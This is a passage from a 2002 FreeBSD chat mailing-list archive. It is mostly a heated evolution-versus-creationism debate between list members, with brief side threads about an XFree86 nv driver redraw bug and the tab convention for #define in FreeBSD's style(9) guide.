List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Terry Lambert wrote: > > doesn't mean we aren't free, of course. God built into the system a great > > deal of leeway for creativity, which is why we have artists, computer > > programmers, architects, and a whole plethora of other professions in > > which man, as God's image bearer, can think God's thoughts after Him and > > emulate His creativity. > > style(9) I wasn't referring so much to programming style, but rather to language syntax. And not so much to a particular language, as computer languages can change much like human languages. Really what I was getting at was the principles involved. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:40: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1370937B400 for ; Sat, 7 Sep 2002 08:40:01 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9083443E6E for ; Sat, 7 Sep 2002 08:40:00 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87FcgGd047900; Sat, 7 Sep 2002 08:38:42 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87Fcfl7047897; Sat, 7 Sep 2002 08:38:41 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:38:41 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Giorgos Keramidas , Joshua Lee , , Subject: Re: Why did evolution fail? In-Reply-To: <3D79A82B.A67E8686@mindspring.com> Message-ID: <20020907083655.K44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Terry Lambert wrote: > > An understanding of the characteristics of mutation in virrii, and > > the development of new vaccines are not at all dependent on the > > theory of evolution. Mutations != evolution. > > It is predictive of the mutuations. Among other things, this > allows us to use statistics and predictive models to decide > which flu to manufacture vaciones for, and which flu to ignore. *How* is evolution predictive of the mutations? One doesn't need to be an evolutionist in order to make such predictions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 10:13:30 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0814F37B400 for ; Sat, 7 Sep 2002 10:13:26 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9DD2743E65 for ; Sat, 7 Sep 2002 10:13:25 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0206.cvx22-bradley.dialup.earthlink.net ([209.179.198.206] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nj99-0002zf-00; Sat, 07 Sep 2002 10:13:23 -0700 Message-ID: <3D7A3376.A858DD79@mindspring.com> Date: Sat, 07 Sep 2002 10:12:22 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020907081044.U44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > > The scientific method never verifies, it only falsifies, so asking > > that something be empirically verified, whether it be the old theory > > of evolution, the current theory of puctuated equilibria, or that > > gravity is related to the curvature of space, is asking for the > > impossible. Science can only demonstrate the invalidity of ideas, > > not their validity. > > Okay, then lets stop pretending that creation is "unscientific" while > evolution is "scientific". Neither one of them can be falsified, so > either *both* of them are scientific, or neither of them are. You > can't have your cake and eat it too. If you claim an explanation > must also be "naturalistic", I charge you with providing a > justification for such arbitrariness. I guess we can keep on calling the currently accepted scientific theory "evolution", even though that's not the correct name for it. With that in mind, the methods you use judge one theory vs. another are: 1) Are the theories predictive? 2) Of the theories, which is simpler? > > FWIW: Most of "the founding fathers" were Deists. Protestants > > were a monority for a very long time. > > False. Of the 55 writers and signers of the Constitution, 29 were > anglicans, 16-18 were calvinists, 2 were methodists, 2 were lutherans, > 2 were roman catholic, 1 was a quaker, and there was only 1 open > Deist (Ben Franklin) who himself attended practically every kind > of Christian worship. The constitution was based on the model of > state constitutions, which were in turn based on the presbyterian > form of church government. Try again. That somewhat begs the question of why it was not then incorporated as a Christian state... according to historical information (I expect you can do your own web search) most of them were in fact Deists. Realize that Deism does not explicitly contradict Christian doctrine. > I don't know if you realize it or not, but here in California if > you try to teach a theory of origins other than evolution, you > *will* be fired. So what happended to all the "open-minded" > attitudes and academic freedom? If you try to teach the creationist story in a secular school, I expect you will likely be fired, because from a scientific perspective, the creationist theory fails the both the simplicity and predictive tests, when compared to the evolutionist theory. This doesn't contradict academic freedom, though it does contradict non-academic freedom in the context of a secular institution. The place to address this is a non-secular institution (e.g enroll your children in non-state sponsored schools). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 10:23:12 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D060737B400 for ; Sat, 7 Sep 2002 10:23:09 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 777F143E6E for ; Sat, 7 Sep 2002 10:23:09 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0206.cvx22-bradley.dialup.earthlink.net ([209.179.198.206] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17njIA-0005nG-00; Sat, 07 Sep 2002 10:22:42 -0700 Message-ID: <3D7A35A5.1A849D24@mindspring.com> Date: Sat, 07 Sep 2002 10:21:41 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Giorgos Keramidas , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020907082509.M44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > > IMO, they had practical purpose. You can always trace taboos > > back to community experiential knowledge. I rather think the > > pork taboo was rooted in disease avoidance, since there are a > > lot of diseases that cross species boundaries with pork, if it > > is not prepared properly. Lacking sufficient foundation to > > discover what "properly" was, the taboo was established (there > > are alternate theories; that oneis merely the simplest). > > Here's mine: The people of Israel were set aside by God as His > chosen people. As such they were to be distinguished from the > gentiles through ceremonial practices, one of which included not > eating pork. When the Messiah came, God expanded His promises > to the whole world, there was no longer to be any distinction > between jew and gentile, for all are one in Christ, thus to > retain the ceremonial laws would be to not admit that Christ > now joined the two peoples together in reconciliation with God. > > What do you think? 8-) I think it fails the simplicity test, and it fails the predictive test. Your theory requires additional axioms that are not required by the previous theory, and your theory failed to predict accurately the newly created taboo against the eating of non-fully-cooked beef in Britain and elsewhere as a result of the discovery of the prion source of BSE (Bovine Spongiform Encephalopathy, otherwise known as "mad cow disease"), or the ability of the disease to cross species boundaries into humans, and exhibit as nvCJD (new variant Creutzfeldt-Jakob disease). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 10:33: 1 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 708E937B400; Sat, 7 Sep 2002 10:32:59 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1767F43E6A; Sat, 7 Sep 2002 10:32:59 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0206.cvx22-bradley.dialup.earthlink.net ([209.179.198.206] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17njS5-0001sj-00; Sat, 07 Sep 2002 10:32:58 -0700 Message-ID: <3D7A380D.C682AE67@mindspring.com> Date: Sat, 07 Sep 2002 10:31:57 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Juli Mallett , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020907083213.Y44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > > > doesn't mean we aren't free, of course. God built into the system a great > > > deal of leeway for creativity, which is why we have artists, computer > > > programmers, architects, and a whole plethora of other professions in > > > which man, as God's image bearer, can think God's thoughts after Him and > > > emulate His creativity. > > > > style(9) > > I wasn't referring so much to programming style, but rather to > language syntax. And not so much to a particular language, as > computer languages can change much like human languages. Really > what I was getting at was the principles involved. So was I; "Religion is to God as style(9) is to working C code". I fail to believe that any single religion has sussed out the totality of the nature of God, or His desires. They are just attempts at approximation. Yet amazingly enough, each religion claims an exclusive distribution arrangement for The Truth. Every time a natural disaster occurs, and the insurance companies claim it's not covered, as an Act Of God, it's very tempting to pick a church and sue them for damages, on the basis of their being God's representatives on Earth, and settle the matter once and for all. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 10:37:16 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E38B37B400 for ; Sat, 7 Sep 2002 10:37:14 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id B0CC943E42 for ; Sat, 7 Sep 2002 10:37:13 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0206.cvx22-bradley.dialup.earthlink.net ([209.179.198.206] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17njW9-0006Ug-00; Sat, 07 Sep 2002 10:37:09 -0700 Message-ID: <3D7A3908.41093D70@mindspring.com> Date: Sat, 07 Sep 2002 10:36:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Giorgos Keramidas , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020907083655.K44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > On Sat, 7 Sep 2002, Terry Lambert wrote: > > > An understanding of the characteristics of mutation in virrii, and > > > the development of new vaccines are not at all dependent on the > > > theory of evolution. Mutations != evolution. > > > > It is predictive of the mutuations. Among other things, this > > allows us to use statistics and predictive models to decide > > which flu to manufacture vaciones for, and which flu to ignore. > > *How* is evolution predictive of the mutations? One doesn't need > to be an evolutionist in order to make such predictions. Evolution in this case is merely a useful theory, in that its applicaiton gives predictive results in the problem domain of *what* mutations will survive the ambient selection pressures. I think we need to create a new list to discuss this properly, so as to provide a satisfactory answer to your question; I suggest: phd-in-epidemiology@freebsd.org -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 11:55:10 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8FCED37B400 for ; Sat, 7 Sep 2002 11:55:08 -0700 (PDT) Received: from seven.Alameda.net (seven.Alameda.net [64.81.63.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0491E43E75 for ; Sat, 7 Sep 2002 11:54:32 -0700 (PDT) (envelope-from ulf@Alameda.net) Received: by seven.Alameda.net (Postfix, from userid 1000) id A954A3A201; Sat, 7 Sep 2002 11:53:55 -0700 (PDT) Date: Sat, 7 Sep 2002 11:53:55 -0700 From: Ulf Zimmermann To: freebsd-chat@freebsd.org Subject: anyone have a suggestion about XFree86, nv and not having to use ShadowFB ? Message-ID: <20020907115355.A65100@seven.alameda.net> Reply-To: ulf@Alameda.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: Alameda Networks, Inc. X-Operating-System: FreeBSD 4.7-PRERELEASE Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I have a GeForce 4 Ti 4600 in one system. Using the nv driver, I have to turn on ShadowFB, otherwise I get pixels left over when redrawing happens, like when an xterms scrolls. Just tried 4.2.1, same problem. And trying to search for it on google, I have not been able to find something, which might just because I didn't use the right search entry. -- Regards, Ulf. --------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-865-0204 You can find my resume at: http://seven.Alameda.net/~ulf/resume.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 13:10:44 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DBB9437B400 for ; Sat, 7 Sep 2002 13:10:39 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0901843E6A for ; Sat, 7 Sep 2002 13:10:39 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87KAcGd066046; Sat, 7 Sep 2002 13:10:38 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87KAbbv066043; Sat, 7 Sep 2002 13:10:37 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 13:10:37 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Joshua Lee , , Subject: Re: Why did evolution fail? In-Reply-To: <3D7A3376.A858DD79@mindspring.com> Message-ID: <20020907110109.T44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > > > The scientific method never verifies, it only falsifies, so asking > > > that something be empirically verified, whether it be the old theory > > > of evolution, the current theory of puctuated equilibria, or that > > > gravity is related to the curvature of space, is asking for the > > > impossible. Science can only demonstrate the invalidity of ideas, > > > not their validity. > > > > Okay, then lets stop pretending that creation is "unscientific" while > > evolution is "scientific". Neither one of them can be falsified, so > > either *both* of them are scientific, or neither of them are. You > > can't have your cake and eat it too. If you claim an explanation > > must also be "naturalistic", I charge you with providing a > > justification for such arbitrariness. > > I guess we can keep on calling the currently accepted scientific > theory "evolution", even though that's not the correct name for it. > > With that in mind, the methods you use judge one theory vs. another > are: > > 1) Are the theories predictive? Evolution is not, as it relies on chance. Chance, by definition, is unpredictable. > > 2) Of the theories, which is simpler? Define "simpler." Self-creation sounds like a pretty hairy thesis to me. Please explain. Oh, and I didn't catch your answer as to how we have boys and girls. > > > FWIW: Most of "the founding fathers" were Deists. Protestants > > > were a monority for a very long time. > > > > False. Of the 55 writers and signers of the Constitution, 29 were > > anglicans, 16-18 were calvinists, 2 were methodists, 2 were lutherans, > > 2 were roman catholic, 1 was a quaker, and there was only 1 open > > Deist (Ben Franklin) who himself attended practically every kind > > of Christian worship. The constitution was based on the model of > > state constitutions, which were in turn based on the presbyterian > > form of church government. Try again. > > That somewhat begs the question of why it was not then incorporated > as a Christian state... according to historical information (I expect > you can do your own web search) most of them were in fact Deists. > Realize that Deism does not explicitly contradict Christian doctrine. Why do you think that Christians would necessarily want to incorporate it as a specifically *Christian* state? By the way, since you deleted it, I'll mention it again. The model the Constitution was based on was existing state constitutions, which were in turn based on the model of presbyterian church government. > > I don't know if you realize it or not, but here in California if > > you try to teach a theory of origins other than evolution, you > > *will* be fired. So what happended to all the "open-minded" > > attitudes and academic freedom? > > If you try to teach the creationist story in a secular school, I > expect you will likely be fired, because from a scientific > perspective, the creationist theory fails the both the simplicity > and predictive tests, when compared to the evolutionist theory. Oh really? Please explain. Just because you say so doesn't make it so. Anytime you introduce randomness into a system, it doesn't *increase* predictability, it decreases it. And since the primary mechanism of evolution is chance, evolution cannot be said to be predictable at all. How does evolution overcome this problem? Please explain. > This doesn't contradict academic freedom, though it does contradict > non-academic freedom in the context of a secular institution. The > place to address this is a non-secular institution (e.g enroll your > children in non-state sponsored schools). What exactly do you mean by "secular"? You mean "non-religious"? Why do the schools force naturalism down people's throats then? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 13:14: 2 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C656C37B400 for ; Sat, 7 Sep 2002 13:13:59 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 55DFC43E65 for ; Sat, 7 Sep 2002 13:13:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87KCeGd066065; Sat, 7 Sep 2002 13:12:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87KCdf3066062; Sat, 7 Sep 2002 13:12:40 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 13:12:39 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020907014049.GD16913@hades.hell.gr> Message-ID: <20020907131116.W44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > An understanding of the characteristics of mutation in virrii, and > > the development of new vaccines are not at all dependent on the > > theory of evolution. Mutations != evolution. > > On the very contrary. Evolution can only go forth through mutation. > Please do read Darwin's ``Origin of the Species'' again. Ahem. Evolution *requires* mutations to function, i.e. is *driven* by mutations. But the fact that mutations occur does not prove evolution. Mutations and evolution are two different things. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 18:57:26 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E0AE837B400 for ; Sat, 7 Sep 2002 18:57:19 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 77BF743E3B for ; Sat, 7 Sep 2002 18:57:19 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0369.cvx21-bradley.dialup.earthlink.net ([209.179.193.114] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nrK8-0003S6-00; Sat, 07 Sep 2002 18:57:16 -0700 Message-ID: <3D7AAE3F.2A01F48B@mindspring.com> Date: Sat, 07 Sep 2002 18:56:15 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020907110109.T44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > > 1) Are the theories predictive? > > Evolution is not, as it relies on chance. Chance, by definition, > is unpredictable. Mutation is by chance. Selection is not. > > 2) Of the theories, which is simpler? > > Define "simpler." Self-creation sounds like a pretty hairy thesis > to me. Please explain. It has one less premise. > Oh, and I didn't catch your answer as to how we have boys and girls. http://google.yahoo.com/bin/query?p=%22sexual+reproduction%22+evolution&hc=0&hs=0 > > That somewhat begs the question of why it was not then incorporated > > as a Christian state... according to historical information (I expect > > you can do your own web search) most of them were in fact Deists. > > Realize that Deism does not explicitly contradict Christian doctrine. > > Why do you think that Christians would necessarily want to incorporate > it as a specifically *Christian* state? The same reason they would want to post to technical mailing lists about creationism? > By the way, since you deleted it, I'll mention it again. The model > the Constitution was based on was existing state constitutions, which > were in turn based on the model of presbyterian church government. I didn't think that it was relevent, and didn't want to argue the Magna Carta, or the fact that the state constitutions of the first thirteen colonies were negotiated as part of the process of balancing Federal vs. States rights. > > > I don't know if you realize it or not, but here in California if > > > you try to teach a theory of origins other than evolution, you > > > *will* be fired. So what happended to all the "open-minded" > > > attitudes and academic freedom? > > > > If you try to teach the creationist story in a secular school, I > > expect you will likely be fired, because from a scientific > > perspective, the creationist theory fails the both the simplicity > > and predictive tests, when compared to the evolutionist theory. > > Oh really? Please explain. Just because you say so doesn't make > it so. It requires an additional premise, therefore it is less simple than the "evolution" theory, and it is less predictive than the "evolution" theory. > Anytime you introduce randomness into a system, it doesn't > *increase* predictability, it decreases it. This is incorrect; it goes against what we know of large number theory. It's like the multiplication of two random values which occurs in /dev/random, which sucks, because large number theory tells us that the result will be less random, not more random. > And since the primary mechanism of evolution is chance, evolution > cannot be said to be predictable at all. How does evolution overcome > this problem? Please explain. By not being defined the way you appear to think it is. 8-). The primary mechanism of evolution is selection, not chance. Do you know how a "Monete Carlo Algorithm" works? It works by generating random inputs, and then constraining the relation between input and outputs to allowable processes, discarding outputs which do not meet the selection criteria. See also "clamping" in back-propagation neural networks. > > This doesn't contradict academic freedom, though it does contradict > > non-academic freedom in the context of a secular institution. The > > place to address this is a non-secular institution (e.g enroll your > > children in non-state sponsored schools). > > What exactly do you mean by "secular"? You mean "non-religious"? 1 a : of or relating to the worldly or temporal b : not overtly or specifically religious c : not ecclesiastical or clerical -- not the same thing as non-religious. > Why do the schools force naturalism down people's throats then? Because it is able to successfully manipulate the material world in useful ways. If you want a creation theory taught in secular schools, come up with a version of the theory that is either simpler or more predictive than "evolution" theory. So many religions are based on what are in fact scientific ideas which have been falsified. You'd think that at least one religion would be willing to concede that it doesn't know God's mind well enough to say that He might be the selector in the process of natural selection, or that He is capable of working His will through His choice of natural laws. 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 21: 3:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C4FE937B400 for ; Sat, 7 Sep 2002 21:03:36 -0700 (PDT) Received: from cs6668125-184.austin.rr.com (cs6668125-184.austin.rr.com [66.68.125.184]) by mx1.FreeBSD.org (Postfix) with ESMTP id 192DE43E65 for ; Sat, 7 Sep 2002 21:03:31 -0700 (PDT) (envelope-from fracture@cs6668125-184.austin.rr.com) Received: from cs6668125-184.austin.rr.com (asdf@localhost [127.0.0.1]) by cs6668125-184.austin.rr.com (8.12.3/8.12.3) with ESMTP id g8848PwD078682 for ; Sat, 7 Sep 2002 23:08:25 -0500 (CDT) (envelope-from fracture@cs6668125-184.austin.rr.com) Received: (from fracture@localhost) by cs6668125-184.austin.rr.com (8.12.3/8.12.3/Submit) id g8848Pb2078681 for freebsd-chat@freebsd.org; Sat, 7 Sep 2002 23:08:25 -0500 (CDT) Date: Sat, 7 Sep 2002 23:08:24 -0500 From: Jordan DeLong To: freebsd-chat@freebsd.org Subject: style(9) question Message-ID: <20020908040824.GA78652@allusion.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua" Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable [ tried this on -questions a while back ] The freebsd style guide includes a provision that #define's should have a tab after the define, before the symbol, like: #define^Ifoobar In 8-character tabs (which is also proscribed by the man page) this lines up anyway with a single space. What's the reasoning behind the tabs? They also seem to make context diffs look weirder when you insert a single character in front of the define, like: +#define foobar for #define foobar --=20 Jordan DeLong fracture@allusion.net --SUOF0GtieIMvvwua Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) iD8DBQE9es04DrrilS51AZ8RAtXkAKC6+Dfkkz89FIIspirD37XcDxQfQgCfRAfL 2wN2hgv+7r6+ArVNf6hZXTs= =t5H5 -----END PGP SIGNATURE----- --SUOF0GtieIMvvwua-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 21:14:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A900337B401 for ; Sat, 7 Sep 2002 21:14:36 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51C6A43E6E for ; Sat, 7 Sep 2002 21:14:35 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0169.cvx40-bradley.dialup.earthlink.net ([216.244.42.169] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17ntSu-0004p2-00; Sat, 07 Sep 2002 21:14:29 -0700 Message-ID: <3D7ACE68.D6576722@mindspring.com> Date: Sat, 07 Sep 2002 21:13:28 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jordan DeLong Cc: freebsd-chat@freebsd.org Subject: Re: style(9) question References: <20020908040824.GA78652@allusion.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Jordan DeLong wrote: > The freebsd style guide includes a provision that #define's should > have a tab after the define, before the symbol, like: > #define^Ifoobar > > In 8-character tabs (which is also proscribed by the man page) this > lines up anyway with a single space. What's the reasoning behind > the tabs? Like most style issues, the purpose is to make it easier to use programming tools on the source code. -- Terry To Unsubscribe: send mail to 